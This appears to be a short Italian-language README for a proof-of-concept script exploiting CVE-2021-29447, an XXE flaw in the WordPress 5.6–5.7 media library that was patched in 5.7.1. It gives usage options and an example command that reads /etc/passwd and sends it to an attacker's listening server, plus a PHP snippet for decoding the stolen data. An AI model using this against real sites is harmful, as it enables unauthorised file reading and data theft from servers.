
Un exploit proof of concept per una vulnerabilità della libreria multimediale di WordPress 5.6
╔═╗╦ ╦╔═╗
║ ╚╗╔╝║╣────2021-29447
╚═╝ ╚╝ ╚═╝
Written By (Isa Ebrahim - 0xRar) on January, 2023
═══════════════════════════════════════════════════════════════════════════
[*] Title: Wordpress XML parsing issue in the Media Library leading to XXE
[*] Affected versions: Wordpress 5.6 - 5.7
[*] Patched version: Wordpress 5.7.1
[*] Installation version: PHP 8
═══════════════════════════════════════════════════════════════════════════
CVE-2021-29447: Un utente con la possibilità di caricare file (come un Autore) può sfruttare un problema di parsing XML nella libreria multimediale portando ad attacchi XXE. Ciò richiede che l'installazione di WordPress utilizzi PHP 8. L'accesso a file interni è possibile in un attacco XXE riuscito. Questo problema è stato corretto nella versione 5.7.1 di WordPress, insieme alle versioni precedenti affette tramite un aggiornamento minore.
Questo script è facile da capire ed eseguire e automatizzerà i passaggi necessari per sfruttare l'attacco XXE sulla libreria multimediale di WordPress.
usage: PoC.py [-h] [-l LHOST] [-p PORT] [-f FILE]
options:
-h, --help show this help message and exit
-l LHOST, --lhost LHOST your server ip address e.g. 10.0.2.15
-p PORT, --port PORT your server port e.g. 1337
-f FILE, --file FILE system file to read e.g. /etc/passwd
Esempio:
$ python3 PoC.py -l 10.0.2.15 -p 8000 -f /etc/passwd
Per decodificare il base64 usa/esegui il seguente snippet php:
<?php
echo zlib_decode(base64_decode('base64_here'));
?>
$ php decode.php